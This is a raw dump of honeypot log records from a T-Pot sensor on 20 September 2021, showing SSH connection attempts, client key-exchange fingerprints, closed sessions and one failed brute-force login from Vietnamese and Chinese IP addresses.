21700	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.178927+03	2021-09-20 14:15:03.992613+03	{"_id": "jQbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:45478 (192.168.176.2:22) [session: 7e70e98bbfd3]", "session": "7e70e98bbfd3", "@version": "1", "protocol": "ssh", "src_port": 45478, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.178927Z", "@timestamp": "2021-09-20T11:06:57.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21701	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:56.120044+03	2021-09-20 14:15:03.994613+03	{"_id": "iAbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7482, "dest_port": 22, "timestamp": "2021-09-20T11:06:56.120044", "@timestamp": "2021-09-20T11:06:56.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21702	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:55.904257+03	2021-09-20 14:15:03.995612+03	{"_id": "kwbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49860, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.904257", "@timestamp": "2021-09-20T11:06:55.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21703	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:56.666946+03	2021-09-20 14:15:03.996628+03	{"_id": "rAbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2d7ce8d0fb65", "@version": "1", "timestamp": "2021-09-20T11:06:56.666946Z", "@timestamp": "2021-09-20T11:06:56.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21704	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:56.828645+03	2021-09-20 14:15:03.998613+03	{"_id": "lgbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1e23fa26a58c", "@version": "1", "duration": 2.8904175758361816, "timestamp": "2021-09-20T11:06:56.828645Z", "@timestamp": "2021-09-20T11:06:56.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21705	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:56.803649+03	2021-09-20 14:15:03.999613+03	{"_id": "rQbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "dc7ac314b893", "@version": "1", "duration": 2.474733829498291, "timestamp": "2021-09-20T11:06:56.803649Z", "@timestamp": "2021-09-20T11:06:56.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21706	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:06:50.63761+03	2021-09-20 14:15:04.000613+03	{"_id": "9wbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [pluto/pluto] failed", "session": "9c373531ef77", "@version": "1", "password": "pluto", "username": "pluto", "timestamp": "2021-09-20T11:06:50.637610Z", "@timestamp": "2021-09-20T11:06:50.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21707	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:50.68777+03	2021-09-20 14:15:04.001612+03	{"_id": "-AbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "83979a6e8f5e", "@version": "1", "timestamp": "2021-09-20T11:06:50.687770Z", "@timestamp": "2021-09-20T11:06:50.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21708	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:50.938134+03	2021-09-20 14:15:04.002613+03	{"_id": "-gbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5a2c1cff9272", "@version": "1", "duration": 2.476743459701538, "timestamp": "2021-09-20T11:06:50.938134Z", "@timestamp": "2021-09-20T11:06:50.938Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21709	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:50.011627+03	2021-09-20 14:15:04.003613+03	{"_id": "BgbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56210, "timestamp": "2021-09-20T11:06:50.011627", "@timestamp": "2021-09-20T11:06:50.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
